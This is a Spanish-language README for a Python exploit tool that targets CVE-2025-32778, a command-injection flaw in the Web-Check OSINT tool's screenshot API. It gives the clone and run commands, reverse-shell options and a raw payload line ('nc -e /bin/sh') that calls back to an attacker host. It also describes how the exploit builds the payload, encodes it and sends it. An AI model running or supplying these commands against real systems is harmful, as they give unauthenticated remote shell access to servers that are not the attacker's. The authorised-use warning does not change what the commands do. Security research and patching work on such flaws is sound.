CVE-2025-32778 - Exploit de Inyección de Comandos en Web-Check

Descripción

CVE-2025-32778 es una vulnerabilidad crítica de inyección de comandos en la herramienta OSINT Web-Check de Lissy93.
Permite a atacantes no autenticados ejecutar comandos arbitrarios del sistema a través del parámetro url en la API de captura de pantalla.

Este script de Python automatiza la explotación y puede generar shells inversas o aceptar payloads de shell personalizados.

---

Advertencia

• Solo pruebe en sistemas que posea o para los que tenga autorización.
• El uso no autorizado es ilegal y poco ético.

---

Características

• Explotación de la inyección de comandos url en Web-Check.
• Soporta:
  • Shell inversa con --lhost y --lport.
  • Shell personalizado mediante --shell.
• Normalización de URL.
• Evita combinar --shell con --lhost/--lport.

---

Requisitos

• Python 3.x
• Librería Requests:

pip install requests

---

Uso

git clone https://github.com/00xCanelo/CVE-2025-32778
cd CVE-2025-32778

Hacer que la herramienta cree una shell inversa

python3 cve-2025-32778.py -u http://target.com:3001/api/screenshot/ --lhost 10.10.10.1 --lport 4444

Payload de Shell Personalizado (Crudo)

python3 cve-2025-32778.py -u http://target.com:3001/api/screenshot/ --shell "nc -e /bin/sh 10.10.10.1 4444"

Menú de Ayuda

python3 cve-2025-32778.py -h

---

Cómo Funciona

1. Normalizar la URL objetivo a scheme://host[:port].

2. Preparar el payload:

   • Generar una shell inversa usando --lhost y --lport.
   • O usar un comando de shell crudo con --shell.

3. Codificar el payload de shell para una inyección segura en la URL.

4. Enviar una solicitud HTTP GET a /api/screenshot/ con el payload.

5. Esperar la conexión de la shell inversa.

---

🧑‍💻 Autor

00xCanelo
GitHub Profile

---

Referencias

• Repositorio de GitHub de Web-Check – Proyecto original que contiene el código vulnerable.
• CVE-2025-32778 – Entrada CVE que describe la vulnerabilidad de inyección de comandos.